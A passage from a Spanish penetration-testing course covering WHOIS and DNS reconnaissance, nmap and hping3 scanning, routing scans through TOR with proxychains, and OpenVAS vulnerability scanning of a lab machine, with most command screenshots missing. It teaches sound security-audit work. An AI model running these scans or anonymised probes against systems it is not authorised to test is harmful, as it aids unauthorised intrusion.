propietario de un nombre de dominio registrado y otros recursos de internet. Cuando
registramos un nombre de dominio, es obligatorio cumplimentar ciertos datos de contacto y
decidir si queremos que esta información sea pública o si preferimos pagar un importe extra
por un registro privado en donde figurarán los datos de un tercero. Si el nombre de dominio
ha sido registrado publicamente, entre otros, podremos ver:

Servidores DNS (nameservers) de la empresa objetivo


Cuando caduca el registro del dominio
Dirección física de una sede de la empresa objetivo
Rango de red asociado a la persona o empresa objetivo
Datos de contacto de la persona que registro el dominio. Aunque no siempre, podría
ser un empleado con un cargo importante en la empresa al que dirigir un ataque de
ingenieria social

Las bases de datos WHOIS son administradas y mantenidas por los RIR (Regional Internet
Registries)

Consultas a bases de datos WHOIS desde la línea de


comandos

271
Recopilación de información

Existe un protocolo para realizar consultas a bases de datos WHOIS que usa el puerto 43
del protocolo TCP. Podemos realizar consultas desde la línea de comandos usando el
programa whois:

Por ejemplo, entre los resultados podemos ver emails, teléfonos o los servidores dns:

Consultas a bases de datos WHOIS en España


Si intentamos consultar información sobre un nombre de dominio en España usando whois,
obtendremos el siguiente mensaje:

Esto quiere decir que no tenemos configurado el servidor donde esta la base de datos
whois para los dominios de España (.es). Si queremos configurar sólo el de España,
debemos crear el fichero, [Link], en el directorio /etc. Para ello, podemos usar
cualquier editor de texto como, por ejemplo, el editor Vim:

272
Recopilación de información

y configurar el servidor donde está la base de datos de España añadiendo el texto .es$
[Link]:

NOTA Las líneas que empiezan por # son comentarios

Si, en vez de configurar sólo el servidor donde esta la base de datos whois de España,
queremos configurar todos los servidores que contienen bases de datos whois de los
distintos países, podemos bajarnos el fichero desde algún repositorio de internet. Por
ejemplo, podemos acceder al siguiente repositorio:

y descargarlo en el directorio /etc:

273
Recopilación de información

Esto bastaría para la mayoría de los países. Sin embargo, en España, no es suficiente:

Aparte de crear o descargar el fichero [Link], debemos solicitar acceso al servidor


desde la web de [Link]:

274
Recopilación de información

Consultas a bases de datos WHOIS usando páginas web


También podemos consultar información en base de datos whois usando páginas web como
domaintools. Sólo debemos indicar el nombre de dominio que deseamos buscar:

y nos mostrará los datos:

275
Recopilación de información

8. DNS
Una vez que hemos localizado los servidores DNS en el punto anterior, trataremos de
identificar equipos importantes dentro de la red objetivo.

Breve introducción de manera muy informal a DNS


Aunque se sale del objetivo de estas notas cubrir el protocolo DNS, a modo de recordatorio
y manera informal hago esta pequeña introducción. Debido a que, en general, resulta más
sencillo recordar nombres que secuencias numéricas, existe un protocolo llamado DNS
encargado de traducir nombres de dominio como [Link] o [Link] a direcciones IP. El
protocolo DNS es el medio de comunicación que utilizamos para solicitar la traducción de
un nombre a su dirección IP. Las traducciones se solicitan a un servidor DNS que vendría a
ser, en este ejemplo, el diccionario de traducciones donde podemos buscar el nombre y
obtener la IP. Al igual que ocurre con los diccionarios que clasifican las palabras en
adjetivos, sustantivos, determinantes, etc. Los servidores DNS clasifican las cada una de
las entradas en su diccionario con unas letras a las que llaman registros. Algunos conocidos
son:

276
Recopilación de información

A (para solicitar la IPv4 de un nombre de dominio)


AAAA (para solicitar la IPv6 de un nombre de dominio)
CNAME (para conocer los nombres (alias) de todos los servicios bajo una misma IP)
PTR (para conociendo la IP preguntar por el nombre de dominio)
NS (para saber el servidor o los servidores DNS que continen los registros del dominio)
MX (para saber los servidores de correo)
SPF (indica que servidores de correo están autorizados para enviar emails con el
dominio)

El protocolo DNS, normalmente, funciona en el puerto 53 del protocolo UDP, pero para
ciertas operaciones usa el puerto 53 del protocolo TCP.

Consultas a servidores DNS usando nslookup


nslookup es un programa que suele venir por defecto en sistemas operativos de windows y
en sistemas operativos GNU/Linux. El modo más sencillo de hacer una consulta con
nslookup es escribir:

nslookup {[Link]}

por defecto nos devolvera la IPv4 (registro A) y, si está disponible, la IPv6 (registro AAAA)
del nombre de dominio que le solicitemos:

Podemos comprobar que esto es así copiando la IP y pegandola en la barra de direcciones


de cualquier navegador. Al navegar a la página usando la IP nos mostrará una advertencia
de que el certificado de la página no esta autorizado para ese nombre de dominio:

277
Recopilación de información

si pulsamos en continuar accederemos a la web. Otra forma de utilizar nslookup es en


modo interactivo. Para ello simplemente tecleamos nslookup:

Vemos que, por defecto, nos aparece el servidor DNS que nos ha configurado nuestro
proveedor de servicios de internet. Pero podemos usar el que queramos, por ejemplo, para
usar el servidor DNS de google tecleamos server y la dirección IPv4 del servidor DNS de
google que es [Link]:

Ahora las consultas las haremos al servidor de google. Vamos a comenzar consultando las
direcciones IPv4 del dominio [Link]. Para ello le decimos que tipo de registro
queremos buscar utilizando el comando set type. Como en este caso queremos buscar una
dirección IPv4 (registro A), escribimos:

set type={registro} {[Link]}

278
Recopilación de información

como podemos ver nos facilita las direcciones IPv4 del dominio. Si, en vez de las de IPv4,
quisieramos las direcciones IPv6:

o los servidores de email:

en este caso vemos que estan usando los servidores de google. También podemos ver los
servidores DNS que continen los registros del dominio:

279
Recopilación de información

y realizar consultas a estos servidores:

Consultas a servidores DNS usando dig


Dig es un programa que, normalmente, viene instalado en la mayoria de distribuciones de
GNU/Linux. Para usarlo escribimos:

dig {[Link]}

Para hacer consultas a otro servidor DNS usamos:

dig @{ipServidorDNS} {[Link]}

Por ejemplo, para realizar consultas al servidor DNS de google:

280
Recopilación de información

Como podemos ver, por defecto, nos devuelve los registros A, pero si quisiesemos otros
registros, podemos escribir

dig @{ipServidorDNS} {registroQueQueramos} {[Link]}

Por ejemplo, para consultar por los registros AAAA (IPv6):

o los registros MX:

281
Recopilación de información

Consultas a servidores DNS usando páginas web


Existen páginas web que nos permiten hacer consultas a servidores DNS. Por ejemplo,
google nos permite usar el programa dig online a través del siguiente enlace:

282
Recopilación de información

9. Usando el RIR para encontrar bloques de red


Aunque hemos visto en ejemplos anteriores que en buscadores como ipv4info puede
encontrarse el bloque de red de la empresa objetivo:

En caso de no haberlo encontrado, podemos buscar, utilizando la IP asociada al nombre de


dominio, en la web del RIR donde se haya registrado la web para obtener el bloque de red.
En este caso, el RIR es ARIN. Buscamos por IP:

283
Recopilación de información

En los resultados podemos ver el bloque de red:

284
Escaneando

Escaneando
Esta es la segunda fase del bloque de reconocimiento. Tras haber recopilado toda la
información posible sobre el objetivo, en esta fase intentaremos descubrir qué equipos del
cliente tiene expuestos en internet (escaneo de red), qué servicios tienen habilitados esos
equipos (escaneo de puertos) y si esos equipos y servicios habilitados tienen
vulnerabilidades conocidas (escaneo de vulnerabilidades). El objetivo de esta fase es
utilizar toda la información que hemos encontrado en la fase anterior para detectar vectores
de ataque y vías de entrada en la red que se este auditando.

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Breve introducción informal


ICMPv4
Cabecera del protocolo TCP

2. Escaneando la red para descubrir equipos activos


Detectar si un equipo esta activo usando ping
Ping Sweep/ICMP Sweep detectar los equipos activos en una red
Ping Sweep/ICMP Sweep usando nmap
Detectar equipos activos usando netdiscover
Descubriendo equipos activos por TCP usando hping3

3. Escaneando los puertos de los equipos activos

Equipo para realizar escaneos de pruebas ([Link])


Escaneando equipos desactivando el host discovery
Escaneo con handshake completo (fiable pero ruidoso)
Escaneo con medio handshake (SYN Scan)
Escaneo detectando la versión de los servicios
Escaneo de medio handshake detectando la versión de los servicios
Escaneo de servicios en puertos UDP
Detectando el sistema operativo
nmap
p0f
Nmap Scripting Engine (NSE)
Escaneo agresivo con nmap

285
Escaneando

Escaneo ACK para descubrir dispositivos de seguridad


nmap
hping3

4. Proxies y programas que ayudan proteger la privacidad e intimidad

Breve introducción informal a los conceptos de proxy y cadena de proxies


Escaneo con nmap a través de TOR usando proxychains
Hackplayers - 4nonimizer

5. Escaneando en busca de vulnerabilidades conocidas

Breve introducción informal sobre los escáneres de vulnerabilidades


Breve introducción informal sobre el análisis de vulnerabilidades
Breve introducción al análisis de vulnerabilidades con OpenVas

Referencias usadas
1. Páginas web
OSI
Nmap examples
Nmap Host discovery
Nmap port scanning techniques
RFC 792 - ICMPv4
RFC 793 - TCP
Hackplayers - 4nonimizer
Surveillance Self Defense
What is a DNS leak and why should I care?

1. Breve introducción informal

ICMPv4
Debido a los errores que pueden existir en una red de computadores, necesitamos un modo
de saber el estado de los equipos que componen esa red y obtener información para
solucionar los problemas que puedan surgir. Ahí es donde entra Internet Control Message
Protocol (ICMP). ICMP es un protocolo que nos va a permitir hacer consultas a distintos
equipos de una red para conocer su estado. Existen dos versiones de este protocolo:

ICMPv4
ICMPv6

286
Escaneando

Nos centraremos en ICMPv4 porque es el que necesitamos para el contenido del curso. El
uso más común del protocolo ICMP es detectar si un equipo esta activo en una red. Lo que
coloquialmente llamamos hacer un ping a un equipo. ICMP es un protocolo que opera en la
capa 3 del modelo OSI que funciona enviando peticiones de distintos tipos a los equipos
que hay en una red y analizando los tipos de respuesta que recibe. Los tipos de peticiones y
de respuesta que se pueden enviar o recibir están unívocamente identificados por un
número que podemos consultar en la web de IANA. Por ejemplo, el tipo de petición para
saber si un equipo está activo en una red es el número 8. Si lanzamos un ping (petición
ICMP tipo 8) a un equipo en una red donde el protocolo ICMP esté habilitado y no nos
responde, sabremos que el equipo no esta activo. Sin embargo, si el equipo nos responde
al ping con un paquete ICMP de tipo 0, sabremos que el equipo está activo en la red.

Cabecera del protocolo TCP


Si accedemos a la especificación del protocolo TCP podremos ver la estructura de la
cabecera adjunta a todo paquete del protocolo TCP:

Los 6 bits marcados en amarillo corresponden con las flags del protocolo TCP. Estos 6 bits,
llamados flags en la cabecera del protocolo TCP, gobiernan la transmisión de datos que se
produce en una comunicación a través del protocolo TCP. Con estas flags podemos iniciar,
mantener o interrumpir cualquier transmissión a través del protocolo TCP. El detalle de cada
flag esta detallado en el temario oficial. Sólo mencionar que, los sistemas operativos

287
Escaneando

basados en UNIX como GNU/Linux, implementan la pila TCP/IP de acuerdo a esta


especificación, lo cuál nos será útil conocerla a la hora de realizar escaneos. Podremos
activar y desactivar estos bits llamados flags con el fin de realizar distintos tipos de
escaneos. Los sistemas operativos windows no implementan su pila de acuerdo a esta
especificación.

2. Escaneando la red para descubrir equipos activos


En la fase anterior encontramos el rango de red asociado a la organización u objetivo que
se este auditando. Ahora trataremos de descubrir que equipos hay activos en esa red.

Detectar si un equipo esta activo usando ping


Podemos usar el comando ping para saber si un equipo esta activo en nuestra red:

o en internet:

la opción -c es para indicar el número de pings (peticiones ICMP de tipo 8) que queremos
enviar

Ping Sweep/ICMP Sweep detectar los equipos activos en


una red
Ping Sweep, ICMP Sweep o un barrido de red es hacer un ping a cada equipo de una red
para saber si están activos o no. Aunque se podría hacer con un bucle for y analizar la
respuesta de cada equipo:

288
Escaneando

Existen programas que nos van a facilitar esta tarea como veremos a continuación.

Ping Sweep/ICMP Sweep usando nmap


Una forma muy sencilla de hacer ping sweep es con nmap. Para ello usamos nmap con la
opción -sn para deshabilitar el escaneo de puertos y realizar únicamente un ping sweep:

como podemos ver, si el protocolo ICMP esta activo, nos detecta todos los equipos activos
en esa red.

289
Escaneando

Detectar equipos activos usando netdiscover


Otro programa para detectar los equipos de una red es netdiscover. Esta herramienta
funciona esnifando el tráfico ARP. Lo lanzamos usando el comando:

y podremos ver los resultados en pantalla:

Descubriendo equipos activos por TCP usando hping3


Si el protocolo ICMP no estuviese activado en la red que estemos trabajando, podemos
usar el protocolo TCP para saber si un equipo esta activo en la red. Un programa con el que
podemos hacer esto de forma sencilla es hping3. Hping3 nos va a permitir mandar paquetes
TCP con ciertas flags activadas. Por ejemplo, podemos mandar un paquete TCP con la flag
SYN activada usando la opción -S:

la opción -c es para indicar el número de paquetes que queremos enviar

3. Escaneando los puertos de los equipos activos


Una vez que hemos descubierto los equipos que están activos en una red, intentaremos
averiguar qué puertos y qué servicios tienen activos esos equipos.

Equipo para realizar escaneos de pruebas


([Link])

290
Escaneando

El proyecto Nmap ha puesto un equipo en internet para que podamos practicar con nmap
de forma responsable. El nombre de dominio es [Link]:

Escaneando equipos desactivando el host discovery


Nmap, por defecto, detecta los equipos activos en una red lanzando ping (peticiones ICMP
de tipo 8). Si el equipo:

responde al ping con un paquete ICMP de tipo 0, lo da como activo en la red


si no responde al ping lo da como no activo

Si nmap da un equipo por no activo, no realizará más pruebas como un escaneo de


puertos. Esto puede ocasionar que, si el protocolo ICMP no esta activado, se den como no
activos equipos que si lo están. Por ello, nmap tiene una opción que le podemos pasar para
que, en vez de descubrir qué equipos están activos usando ping, directamente dé todos los
equipos como activos. De esta forma, podremos escanear los puertos de equipos que
tengan bloqueados el tráfico ICMP. Esta opción es -Pn y quiere decir (Ping no).

Escaneo con handshake completo (fiable pero ruidoso)


Una de las formas que hay de conocer si un puerto TCP esta abierto es realizar el
handshake completo. Si podemos realizar el handshake, entonces daremos el puerto como
abierto. Es decir, se da el puerto como abierto si:

1. Enviamos un paquete con la SYN flag activada


2. Se recibe como respuesta un paquete con las flags SYN y ACK activadas
3. Enviamos un packete con la flag ACK activada para establecer la conexión
4. Cortamos la comunicación enviando un paquete con la RST flag activada

291
Escaneando

Se dice que es ruidoso porque, normalmente, si realizamos un handshake completo, el


servidor guardará en sus logs nuestra conexión. La opción para realizar un escaneo con
handshake completo es -sT. En este caso lanzamos un escaneo contra todos los puertos:

Escaneo con medio handshake (SYN Scan)


En este tipo de escaneo de puertos del protocolo TCP se hace medio handshake:

1. Se envia un paquete con la SYN flag activada


2. Si se recibe como respuesta un paquete con las flags SYN y ACK activadas, se da
como activo
3. Se corta el handshake enviando un paquete con la RST flag activada

Muchos servidores no guardarán en sus logs nuestra conexión ya que no se ha producido


un handshake completo. Aunque si el la red que estemos auditando cuenta con dispositivos
de seguridad como IDS, nuestra conexión quedará registrada. La opción que usaremos
para lanzar un escaneo de este tipo es -sS. En este caso, vamos a lanzarlo contra puertos
específicos:

Escaneo detectando la versión de los servicios

292
Escaneando

Para detectar la versión de los servicios (programas) que hay corriendo en cada puerto
podemos usar la opción -sV. Lo que hará nmap es intentar obtener el banner de cada
servicio:

Escaneo de medio handshake detectando la versión de los


servicios
Podemos combinar el escaneo SYN Scan con la detección de servicios pasando ambas
opciones, -sS y -sV al lanzar nmap:

o usando la versión abreviada -sSV:

293
Escaneando

Escaneo de servicios en puertos UDP


La opción para descubrir servicios en puertos del protocolo UDP es -sU:

Detectando el sistema operativo


Debido a la implementación que cada sistema operativo hace la pila TCP/IP, en muchas
ocasiones, se puede determinar el sistema operativo de un equipo remoto enviando
paquetes y analizando valores en los paquetes de respuesta como el ISN, el tamaño de
ventana o el TTL. Podemos usar la opción -O para detectar el sistema operativo usando
nmap:

294
Escaneando

Otro programa que podemos utilizar para averiguar el sistema operativo es p0f. P0f detecta
el sistema operativo de forma pasiva esnifando tráfico. Para usarlo, primero debemos
indicarle la interfaz de red a usar. Para ver las interfaces de red, por ejemplo, podemos usar
el comando netstat -i:

Y después usar p0f indicando la interfaz que queremos usar:

Como es una herramienta que captura tráfico se quedará a la escucha. Ahora podemos, por
ejemplo, navegar a la dirección web del equipo que queramos saber el sistema operativo:

y localizar en las capturas que hace p0f el sistema operativo:

295
Escaneando

Nmap Scripting Engine (NSE)


Se pueden programs scripts para nmap en el lenguaje de programación Lua. La parte de
nmap que ejecuta estos scripts se llama Nmap Scripting Engine (NSE). Aunque nosotros
podemos programar nuestros propios scripts, nmap viene de serie con muchos scripts que
ya han sido programados por la comunidad de desarrolladores. Podemos utilizar un script
en concreto con la opción --script {nombreDelScript}. Por ejemplo, podemos usar el script
http-methods para saber qué métodos del protocolo HTTP el servicio web:

También podemos indicarle a nmap que, cuando escane el activo, use todos los scripts que
tenga disponible para ese servicio. Para ello usamos la opción --script=default:

296
Escaneando

Escaneo agresivo con nmap


Podemos pasarle a Nmap la opción -A para que haga un escaneo agresivo. Es decir,
activará las siguientes opciones:

Detección de sistema operativo (-O)


Detección de versiones de los servicios (programas) en cada puerto (-sV)
Ejecutará scripts para analizar vulnerabilidades en los servicios (--script=default)
Activará traceroute (--traceroute)

Esta opción -A suele pasarse a nmap junto con un timing agresivo. El timing quiere decir
cuánto tiempo va a esperar nmap a que el servidor le responda por cada petición que haga.
El valor más bajo es 0 (esperará mucho tiempo) y el valor más alto es 5 (casi no esperará).
En este caso usamos la opción -T para pasarle un valor de timing:

Aunque hace mucho ruido, los resultados son muy completos. Por ejemplo, se detecta que
el servicio ftp tiene habilitado el acceso anónimo. Aunque este timing hace que tarde poco
el scan, se recomienda usar valores de timing más bajos para hacer menos ruido.

297
Escaneando

Escaneo ACK para descubrir dispositivos de seguridad


De acuerdo a la especificación del protocolo TCP, si enviamos un paquete con la flag ACK
activada, deberiamos recibir siempre respuesta tanto si el puerto esta abierto como cerrado.
Podemos aprovecharnos de esto para intentar detectar dispositivos de seguridad como
ciertos tipos de firewall. Es decir, como siempre que enviamos un paquete con la flag ACK
activada, deberiamos recibir respuesta tanto si el puerto esta abierto como si no lo está. Si
enviamos un paquete con la flag ACK activada y no recibimos respuesta, probablemente,
exista algún dispositivo de seguridad. Para lanzar un escaneo ACK con nmap usamos la
opción -sA:

También podemos usar hping3 para lanzar un escaneo ACK pasandole activando la flag
ACK con la opción -A:

4. Proxies y programas que ayudan proteger la privacidad e


intimidad
La privacidad y el anónimato en internet no se puede proteger sólo con soluciones
tecnológicas. La privacidad y anonimato en internet requieren de hábitos y otras conductas
que complementen las soluciones técnicas. Grosso modo:

La privacidad es que nadie sepa qué se está haciendo mientras se está conectado a
internet
El anónimato es que no se sepa quién es la persona que hay detrás de las acciones
que se están realizando

298
Escaneando

Cuando queramos anónimato, buscaremos soluciones técnicas como los proxies, cadenas
de proxies o redes alternativas como TOR, I2P, GNUNet o Freenet. Cuando queramos
privacidad buscaremos soluciones técnológicas como las VPN. Lo ideal es encontrar un
servicio VPN que no registre nuestra actividad en un páis cuyas leyes no obliguen al
propietario del servicio VPN a hacerlo. En este tipo de servicios dependemos en gran
medida de que el propietario del servicio no registre nuestra actividad. Asimismo las VPN y
otros servicios de anónimato están amenazados constantemente por configuraciones de
serie que facilitan los proveedores de acceso a internet como los dnsleaks. Tambíen estas
soluciones tecnológicas se ven amenazadas por la actividad que, en muchas ocasiones, se
realiza a través de redes sociales o teléfonos móviles. En muchos casos, para conseguir
privacidad y anónimato, se requiere crear una identidad dígital paralela que no tenga
relación alguna con la anterior en donde se combine el uso de soluciones técnologicas de
privacidad y anonimato. Aunque se sale del objeto de este manual cubrir estas soluciones
técnologicas, veremos a continuación dos soluciones que podremos utilizar cuando
estemos realizando una auditoria de seguridad a la que nos hayan autorizado.

Breve introducción informal a los conceptos de proxy y


cadena de proxies
Un proxy es un equipo intermedio que se puede actuar cuando queramos acceder a un
sitio. Es decir, nosotros nos conectamos al proxy y el proxy se conecta al equipo destino. El
equipo destino, en vez de registrar que nos hemos conectado nosotros, registra que se ha
conectado el proxy. Los proxies tienen muchos usos como intermediarios. Desde el punto
de vista del anonimato nos interesan aquellos proxies (equipos intermedios) que no
registren nuestra actividad. Es decir, que mantengan nuestro anonimato. A estos proxies los
llamaremos anonimizadores. Una cadena de proxies es usar más de un proxy para
acceder a un equipo destino. Por ejemplo, si usamos una cadena de dos proxies, primero
nos conectamos al primer proxy, el primero se conecta al segundo proxy y el segundo al
equipo destino. El equipo destino sólo vé la dirección del segundo proxy. Un programa muy
conocido que veremos a continuación para crear cadenas de proxies es proxychains.

Escaneo con nmap a través de TOR usando proxychains


Si en una auditoria nos bloquean la IP que estemos usando o si simplemente queremos un
método sencillo para cambiar la IP desde la que estemos escaneando, podemos usar
proxychains para redirigir el tráfico de nuestro equipo a través de una cadena de proxies. En
este caso usaremos proxychains para redirigir el tráfico de nuestra máquina a través de la
red TOR para cambiar de IP y hacer el escaneo de forma más "anónima". Para ello primero
instalamos tor:

299
Escaneando

y después, si no viniese por defecto instalado, instalamos proxychains:

Si durante la instalación diese algún problema de dependencias, lo solucionamos como de


costumbre con:

Una vez instalado, iniciamos el servicio:

Por defecto proxychains redirige el tráfico a través de la red TOR. Probamos que la
instalación se ha realizado correctamente. Para ello verificamos la IP pública que tenemos,
por ejemplo, usando el programa curl:

y la que tenemos tras redigir el tráfico a través de TOR usando proxychains:

300
Escaneando

Podemos usar proxychains con cualquier programa. Por ejemplo, si lo usamos con el
navegador firefox:

redirigiremos todo el tráfico a través de TOR y tendremos una nueva IP:

Ahora podemos lanzar nmap de forma "anónima" redirigiendo el tráfico a través de TOR:

Hackplayers - 4nonimizer
4nonimizer nos va a ayudar de forma sencilla a conseguir privacidad mediante el uso de
una VPN y de anonimato. En el repositorio de github de 4nonimizer tienen una descripción
muy completa del script:

301
Escaneando

Vamos a ver cómo podemos usarlo para poder conectar con el servicio VPN que viene por
defecto VPNBook. Primero tenemos que instalar 4nonimizer en Kali Linux. Para ello
clonamos el repositorio de github:

accedemos al directorio del repositorio y tecleamos el comando ./4nonimizer install:

para instalarlo:

Tras terminar la instalación nos muestra dos opciones que le podemos pasar al comando:

start
help

302
Escaneando

Antes de comenzar a usarlo, para evitar los errores que puede darnos el script con el DNS
de nuestro proveedor de servicios de internet, configuramos el servidor de DNS de Google
([Link]):

También comprobamos cuál es nuestra IP:

y depués iniciamos el servicio para que se conecte a la VPN con el comando 4nonimizer
start:

Nos conectamos por VPN al proveedor VPNBook y se nos asigna una nueva dirección IP:

Confirmamos la IP:

y vemos que coincide. Si quisieramos cambiar la IP, podemos hacerlo con el comando
4nonimizer change_ip:

303
Escaneando

y el servicio VPN nos facilitaría una nueva IP:

Ahora que estamos conectado a la VPN y hemos conseguido privacidad, si además


quisiéramos añadir anonimato, podemos lanzar nuestro escaneo de nmap a través de la red
TOR usando proxychains:

Para detener el servicio, usamos el comando 4nonimizer stop:

304
Escaneando

Como casi siempre para ampliar información, podemos usar el comando de ayuda
4nonimizer help:

Para ver todas la opciones del programa:

5. Escaneando en busca de vulnerabilidades conocidas


Tras conocer los puertos abiertos, servicios y sistemas operativos que tienen los activos
que se estén auditando, podemos analizarlos con un escaner de vulnerabilidades para
detectar si hubiese fallos en la configuración de los equipos o si las versiones de los
sistemas operativos o de los servicios (programas) que se están usando estuviesen
afectadas por vulnerabilidades conocidas.

Breve introducción informal sobre los escáneres de


vulnerabilidades
Los escáneres de vulnerabilidades son programas diseñados para analizar si un equipo o
una red de equipos no están configurados correctamente o si las versiones de los
programas que usan los servicios tienen vulnerabilidades conocidas que, potencialmente,

305
Escaneando

podrían ser aprovechadas por un atacante para comprometer la confidencialidad, integridad


o disponibilidad de los activos. Un escaner de vulnerabilidades es un programa informático
que esta compuesto, principalmente, de 3 partes:

Una base de datos actualizada que contiene las vulnerabilidades conocidas.


Un programa, normalmente llamado escáner, que prueba si las vulnerabilidades que
hay en la base de datos están presentes en el equipo que le indiquemos. También
puede comprobar configuraciones inseguras como dejar contraseñas por defecto.
Una página web para que el usuario pueda configurar los escaneos de
vulnerabilidades.

Algunos conocidos son:

Acunetix
Nessus
Nexpose
OpenVas

Breve introducción informal sobre el análisis de


vulnerabilidades
Un análisis de vulnerabilidades es un servicio que comprende 3 partes:

1. Escanear un equipo o varios equipos utilizando un escáner de vulnerabilidades


2. Determinar qué resultados son falsos positivos y qué resultados son vulnerabilidades
reales
3. Reportar las vulnerabilidades reales

Un escáner de vulnerabilidades arroja muchos falsos positivos que deben ser verificados
para que sólo se reporten las vulnerabilidades reales. La verificación de los resultados de
un escaner de vulnerabilidades, normalmente, suelen realizarla equipos especializados en
el análisis de vulnerabilidades.

Breve Introducción al análisis de vulnerabilidades con


OpenVas
Se ha elegido OpenVas porque es software libre. Para usar OpenVas con Kali Linux,
primero debemos instalarlo:

306
Escaneando

Una vez que este instalado. Debemos ejecutar el siguiente comando para configurarlo:

tardará bastante en ejecutarse porque, entre otros, tiene que actualizar la base de datos de
vulnerabilidades conocidas y generar los certificados que se usuarán en la página web local
desde la que administraremos los escaneos. Una vez termine habrá creado un usuario
llamado admin y nos facilitará la contraseña por pantalla:

Copiamos la contraseña e iniciamos OpenVas con el comando:

Una vez iniciado OpenVas, abrimos el navegador y accedemos a la siguiente URL:


[Link] Debido a que el certificado no es reconocido por el navegador,
tendremos que hacer click en el botón Advanced:

307
Escaneando

a continuación hacer click sobre el botón Add Exception:

y finalmente pulsar sobre el botón Confirm Security Exception:

308
Escaneando

Nada más acceder a la página web de administración de OpenVas, tendremos que logarnos
con el usuario admin y la contraseña que se nos facilitó al ejecutar el comando openvas-
setup:

309
Escaneando

Una vez logados, nos aparecerá un pequeño Dashboard donde figurarán los resúmenes de
los escaneos que realicemos. Para comenzar, de forma rápida, a escanear un equipo,
hacemos click en el menú Scans y seleccionamos la opción Tasks:

En esta pestaña, hacemos click en el icono de color morado y seleccionamos la opción


Task Wizard:

Aparecerá el asistente para la configuración rápida de un nuevo escaneo. En este caso


escaneamos una IP de una máquina virtual (metasploitable 2) y pulsamos el botón Start
Scan:

310
Escaneando

y comenzará el escaneo. Si, al final de la pantalla, pulsamos sobre el escaneo que está
ejecutandose:

311
Escaneando

Podremos ver los detalles del escaneo en curso y acceder a los resultados y al reporte en
curso:

312
Escaneando

Una vez que el escaneo haya terminado, si volvemos al dashboard, vermos que nuestro
escaneo queda reflejado:

313
Escaneando

Para ver los resultados del scan, seleccionamos la opción Results del menu Scans:

314
Escaneando

El escaneo ha encontrado 335 vulnerabilidades en el equipo analizado. También se


muestran representaciones gráficas de los resultados para que rápidamente podamos ver el
número de vulnerabilidades altas, medias y bajas que se han encontrado. Si pulsamos
sobre cualquiera de ellas, podremos ver el detalle:

En este caso nos reporta que se ha encontrado un servicio SSH con contraseñas por
defecto y nos muestra los usuarios utilizados para conectarse:

315
Escaneando

Comprobamos si la vulnerabilidad reportada es real o un falso positivo. Para ello, nos


conectamos por ssh al equipo utilizando una de las credenciales por defecto. Por ejemplo:

Usuario: user
Contraseña: user

316
Escaneando

Y vemos que podemos logarnos en la máquina por ssh con esas credenciales. Luego en
este caso, sería un vulnerabilidad real que se debe a una configuración incorrecta del
equipo.

317
Enumeración

Enumeración
Es la tercera fase del bloque de reconocimiento. Tras haber verificado que equipos y
servicios están activos en la red que estemos auditando, en la fase de enumeración
conectaremos con estos equipos y servicios que esten activos en la red para, a través de
distintas pruebas, conseguir nombres de usuarios, los nombres de los equipos en la red o
identificar recursos compartidos (shares).

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Breve introducción informal

2. Enumerar usuarios mediante SMTP


Breve introducción informal al protocolo SMTP
Enumeración directa a través del protocolo SMTP
RCPT TO
VERFY
EXPN
Enumeración con el script smtp-user-enum
Enumeración con metasploit
Enumeración con patator

3. NetBIOS, SMB y Samba


Introducción informal al concepto de API
Breve introducción informal a NetBIOS
Breve introducción informal a SMB y su relación con NetBIOS
Breve introducción informal a Samba
Usando nbtscan para enumerar los equipos usando el servicio NBNS de NetBIOS
a través de SMB y Samba
Usando scripts de nmap para enumerar a través de los protocolos SMB y Samba
[Link]
[Link]
[Link]
Usando el cliente de SMB smbclient para enumerar shares
Usando smbclient para acceder de forma anónima a un servicio SMB
Usando enum4linux para enumerar SMB y Samba
Enumerando desde windows

318
Enumeración

net view
ntbstat

4. RPC (Remote Procedure Call)


Breve introducción informal a RPC
Enumerando a través de msrpc (Microsoft RPC) con rcpclient desde Kali Linux

5. Enumerando cuentas de usuario y dispositivos en la red usando SNMP


Breve introducción informal al protocolo SNMP
Conseguir las community strings usando onesixtyone y enumerando con snmpwalk
Enumerando con metasploit

6. NTP (Network Time Protocol)


Breve introducción informal al protocolo NTP
Consultando información con ntpq
Consultando información con nmap

7. DNS - Transferencias de Zona


Breve recordatorio informal del protocolo DNS
Breve introducción informal al concepto de zona en el protocolo DNS
Breve introducción informal a las transferencias de zona
Transferencia de zona con nslookup
Transferencia de zona con dig

Referencias usadas
1. Libros
Practical Packet Analysis, 3rd Edition
2. Páginas web
RFC 2821 - SMTP
Capturas de tráfico de red
OpenSSL s_client documentation
[Link]
NetBIOS Name Services
What is the difference between NetBIOS and SMB?
Microsoft SMB Protocol and CIFS Protocol Overview
Metasploit Unleashed - SNMP Auxiliary Module for Metasploit

1. Breve introducción informal

319
Enumeración

En la fase de enumeración vamos a aprovecharnos de cómo estan diseñados algunos los


protocolos de internet. Cuanto mejor conozcamos los RFC que definen los protocolos, mejor
podremos ver qué aspectos de su funcionamiento pueden jugar a nuestro favor y qué fallos
han tenido los fabricantes a la hora de implementarlos. Algunos protocolos que veremos
cómo enumerar son:

SMTP
SMB y Samba
SNMP
NTP
DNS

2. Enumerar usuarios mediante SMTP

Breve introducción informal al protocolo SMTP


El objetivo del protocolo Simple Mail Transfer Protocol (SMTP) es enviar correos
electronicos de manera fiable y eficiente. La especificación del protocolo puede encontrarse
en el RFC 2821. Normalmente usa el puerto 25 del protocolo TCP si la comunicación no
esta cifrada y los puertos 465 y 587 del protocolo TCP cuando la comunicación está cifrada.
Grosso modo, veremos qué ocurre cuando se manda un correo electrónico y mandaremos
un correo electrónico usando el protocolo SMTP. Atendiendo a que esta es una introducción
informal, como todos los protocolos, SMTP tiene una serie palabras (instrucciones o
comandos) que podemos utilizar para comunicarnos con otra máquina que entienda el
protocolo SMTP. Es como los idiomas, uso palabras en español para comunicarme con otra
persona que entienda español, porque si utilizo palabras en español con una persona que
no conoce el idioma, no me va a poder entender. Lo mismo ocurre con los protocolos de
internet, una máquina que habla el protocolo SMTP se comunica con otra que entiende ese
idioma (protocolo). ¿Cuales son estas máquinas que entienden SMTP? Los servidores de
correo. Esos que encontramos en la fase de recopilación de información a haciendo
consultas a los servidores DNS. Los servidores de correo son los registros MX y el servidor
o servidores que están autorizados a enviar correos electrónicos son los registros SPF.
Veamos primero una comunicación usando el protocolo SMTP y después enviaremos un
correo usando el protocolo directamente. Para ver como es una comunicación a través del
protocolo SMTP, podemos descargar una captura del tráfico de red y despues visualizarla
